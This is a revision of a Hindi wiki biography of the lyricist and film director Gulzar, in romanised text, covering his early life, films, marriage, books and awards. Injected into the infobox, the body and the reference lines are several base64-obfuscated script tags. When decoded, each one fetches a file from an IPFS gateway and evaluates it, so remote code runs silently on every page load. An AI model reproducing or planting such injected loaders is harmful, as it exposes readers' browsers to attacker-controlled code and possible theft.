Difference between revisions of "गुलज़ार"
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==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
| + | *[http://www.kavitakosh.org/kk/index.php?title=%E0%A4%97%E0%A5%81%E0%A4%B2%E0%A4%9C%E0%A4%BC%E0%A4%BE%E0%A4%B0 गुलज़ार की रचनाएँ] | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
Revision as of 08:45, 24 September 2012
gulazar
| |
| poora nam | sampoorn sianh kalara |
| prasiddh nam | gulazar |
| any nam | gulazar sahab |
| janm | 18 agast, 1936 |
| janm bhoomi | dina gaanv, jhelam zila, (pakistan) |
| pati/patni | rakhi gulazar |
| santan | meghana gulazar |
| karm bhoomi | mumbee |
| karm-kshetr | gitakar, kavi, sahityakar, film nirdeshak |
| mukhy filmean | mere apane (1971), aandhi (1975), koshish (1972) |
| puraskar-upadhi | aauskar, graimi puraskar, tin bar rashtriy puraskar, padmabhooshan |
| nagarikata | bharatiy |
| bhasha | hindi, urdoo tatha panjabi |
| pustakean | chauras rat (1962), janam (1963), ek booand chaand (1972) |
| adyatan | 14:08, 24 sitambar 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
gulazar (aangrezi: Gulzar) vastavik nam sampoorn sianh kalara (janm- 18 agast, 1936) hindi philmoan ke ek prasiddh gitakar ke alava ye ek kavi, patakatha lekhak, film nirdeshak tatha natakakar haian. unaki rachanaean mukhyatah hindi, urdoo tatha panjabi mean haian. gulajar ko varsh 2002 mean sahity akadami puraskar aur varsh 2004 mean bharat sarakar dvara diya jane vala tisare sarvochch nagarik samman padm bhooshan se bhi sammanit kiya ja chuka hai. varsh 2009 mean daini b aauyal nirdeshit philm slamad aaug miliyaneyar mean unake dvara likhe git 'jay ho...' ke liye unhean sarvashreshth git ka aauskar puraskar bhi mil chuka hai. isi git ke liye gulazar ko graimi puraskar se bhi sammanit kiya ja chuka hai.
jivan parichay
pashchimi panjab ke jhelam zile (jo ab pakistan mean hai) ke dina gaanv mean 18 agast 1936 ko janme sampoorn sianh kalara urph gulajar ne n sirph gitakar ke roop mean hi nahian balki lekhak, nirmata aur nirdeshak ke roop mean bhi b aaulivud mean apana vishesh yogadan diya hai. bachapan ke dinoan se hi sher-o-shayari ka shauk rakhane vale gulajar aantakshari ke karyakramoan mean bhi hissa lete the. unhean git sangit ke prati khasi roochi thi. vah ravi shankar aur ali akabar khan ke karyakram sunane ke lie jaya karate the. varsh 1947 mean hindustan vibhajan ke bad unaka parivar amritasar chala aya. isake bad apane sapanoan ko naya roop dene ke lie gulajar muanbee a ge lekin sapanoan ki nagari mean unhean kaphi kathinaiyoan ka samana karana p़da. apane jivan yapan ke lie unhoanne motar gairaj mean ek maikenik ki naukari bhi ki.[1]
aanrabhik jivan
muanbee ane ke bad kavi ke roop mean gulajar progresiv rayartas esosieshan pi.dabloo.e se jud ge. unhoanne apane sine kairiyar ki shurooat varsh 1961 mean b aaulivud ke mahan nirdeshak bimal r aauy ke sahayak ke roop mean ki. gulajar ne rrishikesh mukharji aur hemant kumar ke sahayak ke taur par bhi kam kiya. vimal ray ne apane is sahayak nirdeshak ke bhitar ek aise kavi ko dekha jo roohani aur romani shabdoan se is tarah khelata tha jaise bachche khilaunoan se khelate haian. unhoanne gulajar ko sahayak nirdeshak ke roop mean kam dete hue apani klasik philm 'bandini' ke lie git likhane ka kam diya. gitakar ke roop mean gulajar ne pahala gana 'mera gora aang leee le' varsh 1963 mean pradarshit bandini ke lie likha. jab tak bandini pradarshit huee usase pahale balaraj sahani ki philm kabulivala ka pradarshan ho gaya. is philm ke gitoan ko bhi gulajar ne hi likha tha. kabulivala mean unaka likha gana 'ai mere pyare vatan ai mere bichhade chaman tujhape dil kurban aur ganga ae kahaan se, ganga jae kahaan se ne unhean n sirph shrotaoan aur darshakoan ki najar mean ubhar diya tha balki bandini ke gitakar ke roop mean darshakoan ne jab unaka nam suna to ummidean jyada badh gee aur gulajar shrotaoan ki ummidoan par n sirph khare utare balki unhoanne apane lie b aaulivud mean nam aur shoharat bhi paee.[1]
film nirdeshan
kabulivala ke bad gulajar ne pichhe mudakar nahian dekha. unhoanne ek se badhakar ek git likhakar jan-jan ke hriday ke tar jhanajhanae aur unhean bhav vibhor kar philmi git ganga ko samriddh kiya. gulajar ne varsh 1971 mean philm mere apane ke jarie nirdeshan ke kshetr mean bhi kadam rakha. apane samay ki trejadi kvin ke nam se vikhyat mina kumari ke sath unhoanne vinod khanna aur shatrughn sinha ko is philm mean pesh kiya tha. mina kumari ke damadar abhinay aur nirdeshakiy kshamata ki vajah se saphalata pane mean kamayab huee. gulajar ne apani philmoan mean anaginat abhinetriyoan ko behatarin kiradaroan mean pesh kiya. unhoanne suchitra sen ke sath aandhi, rekha ke sath ijajat, hema malini ke sath khushaboo, kinara, shabana ke sath devata, sharmila taigor ke sath mausam, namakin jaisi avismaraniy philmean banaee lekin unhoanne taumr rishta todane ke bad rakhi ki taraph kabhi palatakar nahian dekha aur n hi kabhi apani kisi philm mean unhean nayika ke taur par liya. sanjiv kumar gulajar ke pasandida kalakar the. sanjiv kumar ko lekar unhoanne mausam, koshish, aandhi, namakin, aangoor, devata jaisi avismaraniy philmean dian. aisa nahian ki unhoanne any nayakoan ke sath kam nahian kiya unhoanne apani shurooat vinod khanna se ki thi unake sath unhoanne samay-samay kuchh chunianda-achanak, lekin mira jaisi philmean ki.[1]
pramukh filmean (bataur nirdeshak)
- mere apane (1971)
- parichay (1972)
- koshish (1972)
- achanak (1973)
- khushaboo (1974)
- aandhi (1975)
- mausam (1976)
- kinara (1977)
- kitab (1978)
- aangoor (1980)
- namakin (1981)
- mira (1981)
- ijajat (1986)
- lekin (1990)
- libas (1993)
- machis (1996)
- hu too too (1999)
- tivi siriyal
- mirja galib (1988)
- kiradar (1993) [2]
vivah
1973 mean gulajar ka sanjog kuchh aisa bana ki unhoanne philm abhinetri rakhi se shadi kar li. rakhi aur gulajar ki shadi mean gulajar ne sirph ek shart rakhi ki rakhi shadi ke bad philmoan mean kam nahian kareangi. rakhi ne gulajar ka kaha mana aur kam band kar diya. isake bavajood in donoan ki kabhi nahian bani aur tin sal bad rakhi apani beti meghana ko lekar gulajar se alag ho gee aur unhoanne phir se philmoan mean kam karana shuroo kar diya. gulajar se shadi se poorv 15 varsh ki umr mean rakhi ki shadi ajay vishvas ke sath huee thi. vah mumbee ke philmalay mean kam karate the. sas ne pati ke pas rahane ke lie mumbee bhijava diya. rakhi ko ajay ka sath jara bhi nahian jama. unaki sangat galat logoan ke sath thi. ek din ajay ne rakhi ko ghar se nikal diya. rakhi ko aj bhi is bat ka gam hai ki gulajar ne kabhi usaki abhinay kshamata ko pahachanane ki koshish hi nahian ki. gulajar se rakhi ko ek beti meghana huee, aj vah bhi b aaulivud mean bataur nirdeshak aur lekhak ke roop mean apani pahachan rakhati hai.[1]
mina kumari aur gulazar
mina kumari aur gulazar ke rishte bhavanaoan se bhare hue rahe haian. mina ne maut se pahale apani tamam dayari aur shayari ki kapiyaan gulazar ko sauanp di thian. gulazar ne unhean sanpadit kar bad mean prakashit bhi karaya tha. mina-gulazar ki bheant philm ‘benazir’ ke set par huee thi. bimal ray nirdeshak the aur gulazar sahayak the. sh aaut redi hone par star ko kaimare tak lane ki jimmedari unaki thi. yahian se dosti mean apanapan panapata chala gaya. bad mean gulazar jab svatantr philm nirdeshak bane to philm ‘mere apane’ ki mukhy bhoomika gulazar ne mina ko sauanpi. 1972 mean mina chal basian. ‘mere apane’ kuchh samay bad pradarshit huee aur gulajar svatantr philm nirdeshak ban ge. aj bhi gulazar ke aauphis mean divar par trejedi kvin mina kumari ka chitr bolata-sa najar ata hai.[2]
sahity lekhan
gulajar dvara likhit kuchh pustakean nimn haian
- chauras rat (laghu kathaean, 1962)
- janam (kavita sangrah, 1963)
- ek booand chaand (kavitaean, 1972)
- ravi par (katha sangrah, 1997)
- rat, chaand aur maian (2002)
- rat pashmine ki
- kharashean (2003) [2]
samman aur puraskar
gulajar ko tin bar rashtriy puraskar se bhi navaja ja chuka hai. inamean varsh 1972 mean 'koshish' philm ke lie sarvashreshth skrinaple ka puraskar, varsh 1975 mean 'mausam' philm ke lie sarvashreshth nirdeshak aur varsh 1987 mean ijajat philm ke lie sarvashreshth gitakar ka puraskar shamil hai. gulajar ke chamakadar kairiyar mean ek gauravapoorn naya adhyay tab jud gaya jab varsh 2009 mean philm slamad aaug miliyaneyar mean unake git 'jay ho' ko aauskar puraskar se sammanit kiya gaya. bharatiy sinema mean unake yogadan ko dekhate hue varsh 2004 mean unhean desh ke tisare bade़ nagarik samman padmabhooshan se bhi sammanit kiya gaya.[1]isake atirikt gulazar ko varsh 2002 mean sahity akadami puraskar bhi mil chuka hai.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 gulajar janm divas par: dil dhooandhata hai phir vahi phursat ke rat din. . (hindi) (ech.ti.em.el) khas khabar. abhigaman tithi: 24 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 hajar cheharoan vale gulazar (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 24 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh